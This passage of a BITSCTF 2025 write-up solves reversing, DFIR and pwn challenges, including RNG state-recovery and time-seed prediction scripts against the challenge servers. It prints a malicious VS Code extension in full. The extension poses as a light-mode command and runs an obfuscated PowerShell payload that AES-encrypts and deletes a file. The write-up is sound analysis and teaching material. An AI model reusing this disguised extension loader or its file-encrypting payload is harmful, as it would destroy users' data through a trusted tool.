52 LOAD_CONST 5 (code object generate_password)
54 MAKE_FUNCTION 0 (No arguments)
56 STORE_NAME 7 (generate_password)

58 PUSH_NULL
60 LOAD_NAME 8 (print)
62 LOAD_CONST 6 ("Vault is locked! Enter the password to unlock.")
64 CALL 1
66 POP_TOP

68 LOAD_CONST 7 (1)
70 STORE_NAME 9 (i)

72 NOP

74 PUSH_NULL
76 LOAD_NAME 7 (generate_password)
78 LOAD_NAME 9 (i)
80 CALL 1
82 STORE_NAME 10 (password)

84 PUSH_NULL
86 LOAD_NAME 11 (input)
88 LOAD_CONST 8 ("> ")
90 CALL 1
92 STORE_NAME 12 (attempt)

94 LOAD_NAME 12 (attempt)
96 LOAD_ATTR 27 (NULL|self + isdigit)
98 CALL 0
100 POP_JUMP_IF_TRUE 9 (to 114)

102 PUSH_NULL
104 LOAD_NAME 8 (print)
106 LOAD_CONST 9 ("Invalid input! Enter a number.")
108 CALL 1
110 POP_TOP

112 JUMP_BACKWARD 42 (to 72)

114 PUSH_NULL
116 LOAD_NAME 14 (abs)
118 LOAD_NAME 10 (password)
120 PUSH_NULL
122 LOAD_NAME 2 (int)
124 LOAD_NAME 12 (attempt)
126 CALL 1
128 BINARY_OP 10 (-)
130 CALL 1
132 STORE_NAME 15 (difference)

134 LOAD_NAME 15 (difference)
136 LOAD_CONST 0 (0)
138 COMPARE_OP 40 (==)
140 POP_JUMP_IF_FALSE 10 (to 156)

142 PUSH_NULL
144 LOAD_NAME 8 (print)
146 LOAD_CONST 10 ("Access Granted! Here is your flag:")
148 LOAD_NAME 6 (flag)
150 CALL 2
152 POP_TOP

154 RETURN_CONST 1 (None)

156 PUSH_NULL
158 LOAD_NAME 8 (print)
160 LOAD_CONST 11 ("Access Denied! You are ")
162 LOAD_NAME 15 (difference)
164 FORMAT_VALUE 0
166 LOAD_CONST 12 (" away from the correct password. Try again!")
168 BUILD_STRING 3
170 CALL 1
172 POP_TOP

174 LOAD_NAME 9 (i)
176 LOAD_CONST 7 (1)
178 BINARY_OP 0 (+)
180 STORE_NAME 9 (i)

182 JUMP_BACKWARD 91 (to 74)

0 LOAD_GLOBAL 1 (NULL + random)
2 LOAD_ATTR 2 (getrandbits)
4 LOAD_CONST 1 (32)
6 CALL 1
8 LOAD_FAST 0 (i)
10 LOAD_CONST 2 (195894762)
12 BINARY_OP 12 (^)
14 LOAD_CONST 3 (322420958)
16 BINARY_OP 12 (^)
18 BINARY_OP 5 ()
20 LOAD_CONST 4 (2969596945L)
22 BINARY_OP 5 ()
24 STORE_FAST 1 (password)

26 LOAD_FAST 1 (password)
28 RETURN_VALUE```

  1. If you decode the above code into pure python3 code. It looks like this:
import random
import os

def generate_password(i):
    password = random.getrandbits(32) ^ 195894762 ^ 322420958 ^ 2969596945
    return password

def main():
    seed = int.from_bytes(os.urandom(8), "big")
    random.seed(seed)
    flag = "REDACTED"
    print("Vault is locked! Enter the password to unlock.")
    i = 1

    while True:
        password = generate_password(i)
        attempt = input("> ")
        if not attempt.isdigit():
            print("Invalid input! Enter a number.")
            continue
        difference = abs(password - int(attempt))
        if difference == 0:
            print("Access Granted! Here is your flag:", flag)
            return
        print(f"Access Denied! You are {difference} away from the correct password. Try again!")
        i += 1

if __name__ == "__main__":
    main()
  1. After banging my head around for finding the 4th constant value for. I finally the following script working with the help of chatgpt to give me the correct flag.
import socket
import random

C = 195894762 ^ 322420958
K = 2969596945

def main():
    host = 'chals.bitskrieg.in'
    port = 7007

    rng = random.Random()
    state = []

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        s.recv(1024)

        for i in range(1, 625):
            s.send(b'0\n')
            response = s.recv(1024).decode()

            try:
                difference = int(response.split('You are ')[1].split(' away')[0])
            except:
                print("Failed to parse response:", response)
                return

            denominator = (i ^ C) * K
            R = difference // denominator
            state.append(R)

        rng.setstate((3, tuple(state + [624]), None))

        R625 = rng.getrandbits(32)
        password = R625 * ((625 ^ C) * K)

        s.send(f'{password}\n'.encode())
        print(s.recv(1024).decode())

if __name__ == "__main__":
    main()

  1. Executed the script and got the flag:
BITSCTF{V4u1t_cr4ck1ng_w45_345y_0384934}

DFIR


1. BABY DFIR


baby-DFIR.png

  1. It was a simple challenge, I opened the file with FTK Imager , and immediately saw the flag.txt file:
baby-DFIR-solve.png

  1. Here is the flag:
BITSCTF{a_really_simple_intro_to_DFIR_12848a9e}

2. VIRUS CAMP 1


Virus-Camp-1.png

  1. They provided us with a 625-MB .ad1 format file. which was being used for both the Virus Camp 1 and 2 challenge.
  2. I opened up the file in FTK Imager again. and started searching for unusual or odd thing/files in the disk image.
  3. There i saw a few things that were unusual including this VS-Code Extensions. performing some odd functionality

Virus-Camp-1-Files

  1. After analyzing the code of this file. I found a Base64 encoded string:
VGhlIDFzdCBmbGFnIGlzOiBCSVRTQ1RGe0gwd19jNG5fdlNfYzBkM19sM3RfeTB1X3B1Ymwxc2hfbTRsMWNpb3VzX2V4NzNuc2kwbnNfU09fZWFzaWx5Pz9fNWE3YjMzNmN9
  1. Decoding the gave me the flag to this challenge:
BITSCTF{H0w_c4n_vS_c0d3_l3t_y0u_publ1sh_m4l1cious_ex73nsi0ns_SO_easily??_5a7b336c}

3. VIRUS CAMP 2


Virus-Camp-2.png

  1. Since the file is same. I started to analyze the code in the extension.js file:
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
    if (k2 === undefined) k2 = k;
    var desc = Object.getOwnPropertyDescriptor(m, k);
    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
      desc = { enumerable: true, get: function() { return m[k]; } };
    }
    Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
    if (k2 === undefined) k2 = k;
    o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
    Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
    o["default"] = v;
});
var __importStar = (this && this.__importStar) || (function () {
    var ownKeys = function(o) {
        ownKeys = Object.getOwnPropertyNames || function (o) {
            var ar = [];
            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
            return ar;
        };
        return ownKeys(o);
    };
    return function (mod) {
        if (mod && mod.__esModule) return mod;
        var result = {};
        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
        __setModuleDefault(result, mod);
        return result;
    };
})();
Object.defineProperty(exports, "__esModule", { value: true });
exports.activate = activate;
exports.deactivate = deactivate;
const vscode = __importStar(require("vscode"));
const child_process_1 = require("child_process");
const fs = __importStar(require("fs"));
function activate(context) {
    const command = vscode.commands.registerCommand("rs", () => {
        const scriptContent = `$wy7qIGPnm36HpvjrL2TMUaRbz = "K0QZjJ3bG1CIlxWaGRXdw5WakASblRXStUmdv1WZSpQDK0QKoU2cvx2Qu0WYlJHdTRXdvRiCNkCKlN3bsNkLtFWZyR3UvRHc5J3YkoQDK0QKos2YvxmQsFmbpZEazVHbG5SbhVmc0N1b0BXeyNGJK0QKoR3ZuVGTuMXZ0lnQulWYsBHJgwCMgwyclRXeC5WahxGckgSZ0lmcX5SbhVmc0N1b0BXeyNGJK0gCNkSZ0lmcXpjOdVGZv1UbhVmc0N1b0BXeyNkL5hGchJ3ZvRHc5J3QukHdpJXdjV2Uu0WZ0NXeTtFIsI3b0BXeyNmblRCIs0WYlJHdTRXdvRCKtFWZyR3UvRHc5J3QukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5NFI0NWZqJ2TtcXZOBSPg0WYlJHdT9GdwlncjRiCNkSZ0FWZyNkO60VZk9WTlxWaG5yTJ5SblR3c5N1WgwSZslmR0VHc0V3bkgSbhVmc0NVZslmRu8USu0WZ0NXeTBCdjVmai9UL3VmTg0DItFWZyR3U0V3bkoQDK0QKlxWaGRXdw5WakgyclRXeCxGbBRWYlJlO60VZslmRu8USu0WZ0NXeTtFI9AyclRXeC5WahxGckoQDK0QKoI3b0BXeyNmbFVGdhVmcD5yclFGJg0DIy9Gdwlncj5WZkoQDK0wNTN0SQpjOdVGZv10ZulGZkFGUukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1Wg0DIn5WakRWYQ5yclFGJK0wQCNkO60VZk9WTyVGawl2QukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1Wg0DIlR2bN5yclFGJK0gdpRCI9AiVJ5yclFGJK0QeltGJg0DI5V2SuMXZhRiCNkCKlRXYlJ3Q6oTXzVWQukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1Wg0DIzVWYkoQDK0gIj5WZucWYsZGXcB3b0t2clREXcJXZzVHevJmdcx1cyV2cVxFX6MkIg0DIlxWaGRXdwRXdvRiCNIyZuBnLnFGbmxFXw9GdrNXZExFXyV2c1h3biZHXcNnclNXVcxlODJCI9ASZslmR0VHculGJK0gCNkSZ6l2U2lGJoMXZ0lnQ0V2RuMXZ0lnQlZXayVGZkASPgYXakoQDpUmepNVeltGJoMXZ0lnQ0V2RuMXZ0lnQlZXayVGZkASPgkXZrRiCNkycu9Wa0FmclRXakACL0xWYzRCIsQmcvd3czFGckgyclRXeCVmdpJXZEhTO4IzYmJlL5hGchJ3ZvRHc5J3QukHdpJXdjV2Uu0WZ0NXeTBCdjVmai9UL3VmTg0DIzVGd5JUZ2lmclRGJK0gCNAiNxASPgUmepNldpRiCNACIgIzMg0DIlpXaTlXZrRiCNADMwATMg0DIz52bpRXYyVGdpRiCNkCOwgHMscDM4BDL2ADewwSNwgHMsQDM4BDLzADewwiMwgHMsEDM4BDKd11WlRXeCtFI9ACdsF2ckoQDiQmcwc3czRDU0NjcjNzU51kIg0DIkJ3b3N3chBHJ" ;
$9U5RgiwHSYtbsoLuD3Vf6 = $wy7qIGPnm36HpvjrL2TMUaRbz.ToCharArray() ; [array]::Reverse($9U5RgiwHSYtbsoLuD3Vf6) ; -join $9U5RgiwHSYtbsoLuD3Vf6 2>&1> $null ;
$FHG7xpKlVqaDNgu1c2Utw = [systeM.tEXT.ENCODIng]::uTf8.geTStRInG([sYsTeM.CoNVeRt]::FROMBase64StRIng("$9U5RgiwHSYtbsoLuD3Vf6")) ;
$9ozWfHXdm8eIBYru = "InV"+"okE"+"-ex"+"prE"+"SsI"+"ON" ; new-aliaS -Name PwN -ValUe $9ozWfHXdm8eIBYru -fOrce ; pwn $FHG7xpKlVqaDNgu1c2Utw ;`;
        const scriptPath = `C:\\Users\\vboxuser\\AppData\\Local\\Temp\\temp0001`;
        try {
            fs.writeFileSync(scriptPath, scriptContent);
            vscode.window.showInformationMessage(`The light mode will activate in a few minutes.`);
        }
        catch (error) {
            vscode.window.showErrorMessage(`Error activating light mode.`);
        }
        (0, child_process_1.exec)(`powershell.exe -ExecutionPolicy Bypass -File "${scriptPath}"`, (error, stdout, stderr) => {
            if (error) {
                console.error(`Error: ${error.message}`);
            }
            if (stderr) {
                console.error(`Stderr: ${stderr}`);
            }
            console.log(`Stdout: ${stdout}`);
        });
    });
    context.subscriptions.push(command);
}

  1. If we reverse the string stored in the $wy7qIGPnm36HpvjrL2TMUaRbz variable and then base64 decoded it. it gave us the following values:

$password = "MyS3cr3tP4ssw0rd"
$salt = [Byte[]](0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08)
$iterations = 10000
$keySize = 32
$ivSize = 16

$deriveBytes = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($password, $salt, $iterations)
$key = $deriveBytes.GetBytes($keySize)
$iv = $deriveBytes.GetBytes($ivSize)

$inputFile = "C:\\Users\\vboxuser\\Desktop\\flag.png"
$outputFile = "C:\\Users\\vboxuser\\Desktop\\flag.enc"

$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Key = $key
$aes.IV = $iv
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7

$encryptor = $aes.CreateEncryptor()

$plainBytes = [System.IO.File]::ReadAllBytes($inputFile)

$outStream = New-Object System.IO.FileStream($outputFile, [System.IO.FileMode]::Create)
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($outStream, $encryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)

$cryptoStream.Write($plainBytes, 0, $plainBytes.Length)
$cryptoStream.FlushFinalBlock()

$cryptoStream.Close()
$outStream.Close()

Remove-Item $inputFile -Force


  1. This script actually created a flag.enc file in the desktop directory of the file by encoding the flag.png file.
  2. I refactored the above code in to a powershell script to decode the flag.enc.

$password = "MyS3cr3tP4ssw0rd"
$salt = [Byte[]](0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08)
$iterations = 10000
$keySize = 32
$ivSize = 16

# Derive the key and IV from the password and salt
$deriveBytes = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($password, $salt, $iterations)
$key = $deriveBytes.GetBytes($keySize)
$iv = $deriveBytes.GetBytes($ivSize)

# File paths
$inputFile = "./flag.enc"
$outputFile = "./flag_decrypted.png"

# Create AES object for decryption
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Key = $key
$aes.IV = $iv
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7

# Create the decryptor
$decryptor = $aes.CreateDecryptor()

# Open the encrypted file for reading
$inStream = New-Object System.IO.FileStream($inputFile, [System.IO.FileMode]::Open)
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($inStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)

# Read the decrypted bytes
$decryptedBytes = New-Object System.Byte[] ($inStream.Length)
$cryptoStream.Read($decryptedBytes, 0, $decryptedBytes.Length)

# Write the decrypted bytes to a new file
[System.IO.File]::WriteAllBytes($outputFile, $decryptedBytes)

# Clean up
$cryptoStream.Close()
$inStream.Close()

Write-Host "Decryption complete. Decrypted file saved as $outputFile"

  1. Executing the script generated the corrupted flag.png file. but if you use the strings command on it along side grep. it gave you the flag.

(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/DFIR]$ strings flag_decrypted.png | grep "BITSCTF"
    <rdf:li xml:lang='x-default'>BITSCTF{h0pe_y0u_enj0yed_th1s_145e3f1a} - 1</rdf:li>
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/DFIR]$

  1. Here is the flag:
BITSCTF{h0pe_y0u_enj0yed_th1s_145e3f1a}

PWN


1. BISCUITS


Biscuits.png

  1. It was a simple file that prompted the user to guess the correct cookie. But there were around 100 cookies in the file and only one of them could be the answer. Here is the files basic information:
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/PWN/Biscuits]$ ll
total 40
drwxr-xr-x 2 kali kali  4096 Feb  7 22:09 .
drwxr-xr-x 4 kali kali  4096 Feb  7 20:00 ..
-rwxr-xr-x 1 kali kali 21656 Feb  6 19:00 main
-rw-r--r-- 1 kali kali  3405 Feb  7 21:47 previous.py
-rw-r--r-- 1 kali kali  1939 Feb  7 22:09 solve.py
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/PWN/Biscuits]$ file main
main: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=102ac972af333cb069ddd21a54364dbbe2a0d9ed, for GNU/Linux 3.2.0, not stripped
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/PWN/Biscuits]$ checksec ./main
[*] '/home/kali/CTF-Events/BITSCTF-2025/PWN/Biscuits/main'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/PWN/Biscuits]$ ./main
Give me the cookie I want a 100 times in a row and I'll give you the flag!
Guess the cookie: lovebit
Wrong. The cookie I wanted was: Nice Biscuit
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/PWN/Biscuits]$ ./main
Give me the cookie I want a 100 times in a row and I'll give you the flag!
Guess the cookie: Nice Biscuit
Wrong. The cookie I wanted was: Rocky Road Cookie
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/PWN/Biscuits]$

  1. I opened up the file in the ghidra and started to analyze it.
  2. Here is the main functions in the code:

void main(void){
  int random_value;
  time_t current_time;
  size_t input_len;
  FILE *file;
  long FS_OFFSET;
  int i;
  char input_cookie [112];
  char correct_answer [104];
  long STACK_CANARY;
  STACK_CANARY = *(long *)(FS_OFFSET + 0x28);
  current_time = time((time_t *)0x0);
  srand((uint)current_time);
  puts("Give me the cookie I want a 100 times in a row and I\'ll give you the flag!");
  fflush(stdout);
  for (i = 0; i < 100; i = i + 1) {
    random_value = rand();
    strcpy(correct_answer,*(char **)(cookies + (long)(random_value % 100) * 8));
    printf("Guess the cookie: ");
    fflush(stdout);
    fgets(input_cookie,100,stdin);
    input_len = strcspn(input_cookie,"\n");
    input_cookie[input_len] = '\0';
    random_value = strcmp(input_cookie,correct_answer);
    if (random_value != 0) {
      printf("Wrong. The cookie I wanted was: %s\n",correct_answer);
      exit(0);
    }
    printf("Correct! The cookie was: %s\n",correct_answer);
    fflush(stdout);
  }
  printf("Congrats!\nFlag: ");
  fflush(stdout);
  file = fopen("flag.txt","r");
  if (file == (FILE *)0x0) {
    perror("Failed to open flag file");
    exit(1);
  }
  while( true ) {
    random_value = fgetc(file);
    if ((char)random_value == -1) break;
    putchar((int)(char)random_value);
  }
  putchar(10);
  fclose(file);
  fflush(stdout);
  if (STACK_CANARY != *(long *)(FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return;
}

  1. After analyzing the file. I wrote the following script to solve this challenge.

from pwn import *
from ctypes import CDLL
import time

context.binary = './main'
e = context.binary
cookies_array_addr = 0x5020

cookies = []
for i in range(100):
    ptr = e.read(cookies_array_addr + i * 8, 8)
    ptr = u64(ptr.ljust(8, b'\x00'))
    cookie = e.read(ptr, 100).split(b'\x00')[0].decode()
    cookies.append(cookie)

print(f"Cookies: {cookies[:100]}")
current_time = int(time.time())

for delta in range(-2, 3):
    seed = current_time + delta
    libc = CDLL('libc.so.6')
    libc.srand(seed)
    indexes = [libc.rand() % 100 for _ in range(100)]

    print(f"Generated indexes with seed {seed}: {indexes[:10]}")
    p = remote('20.244.40.210',6000 )
    try:
        p.recvuntil(b'Give me the cookie I want a 100 times in a row')
        for idx in indexes:
            p.recvuntil(b'Guess the cookie: ')
            p.sendline(cookies[idx].encode())
        p.recvuntil(b'Congrats!\nFlag: ')
        flag = p.recvline().strip().decode()
        print(f"Flag: {flag}")
        p.close()
        exit()
    except Exception as e:
        print(f"Error: {e}")
        p.close()

print("Failed to find the correct seed.")

  1. Executing the script gave me the flag:
BITSCTF{7h4nk5_f0r_4ll_0f_th3_c00ki3s_1_r34lly_enjoy3d_th3m_d31fa51e}